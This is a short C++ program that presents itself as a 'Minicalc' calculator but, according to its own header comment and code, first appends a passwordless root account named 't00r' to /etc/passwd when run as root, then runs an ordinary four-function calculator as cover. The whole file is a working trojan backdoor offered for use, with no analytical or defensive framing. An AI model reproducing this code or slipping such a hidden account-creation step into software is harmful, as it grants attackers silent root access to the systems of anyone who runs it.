/* Minicalc program that puts a passwordless root account on the system
 * named t00r. Must be run as root to have an affect!
 * Coded by BlueDog Security Lab (http://bluedogsecurity.cyberinfo.se)
*/

#include <iostream>
#include <fstream>
#include <string>

using namespace std;
main(int argc, char *argv[])
{
	bool found = false;
	string pw1;
	string pw2;
	pw2 = "t00r::0:0:toor:/root:/bin/tcsh";
	ifstream testpw("/etc/passwd");
	ofstream fil("/etc/passwd", ios::app);
	string adda;
	while (testpw >> pw1)
	{
		if (pw1 == pw2)
		{
		found = true;
		}
	}
	if (found)
	{
		goto CALC;
	}
	
	adda = "t00r::0:0:toor:/root:/bin/tcsh";
	fil << adda;
	
CALC:
	
	int a;
	char b;
	int c;
	double d;
	cout << ": "; cin >> a; cin >> b; cin >> c;
		switch(b) {
			case '+':
				d = a + c;
				break;
			case '-':
				d = a - c;
				break;
			case '*':
				d = a * c;
				break;
			case '/':
				d = a / c;
				break;
			default:
				cout << "You typed something wrong!" << endl;
			} 
			cout << d;
			cout << endl;
			
			
			ofstream fut(argv[1], ios::app);
			fut << a << ' ' << b << ' ' << c << " = " << d << 
endl;
			fut.close();
			fil.close();
}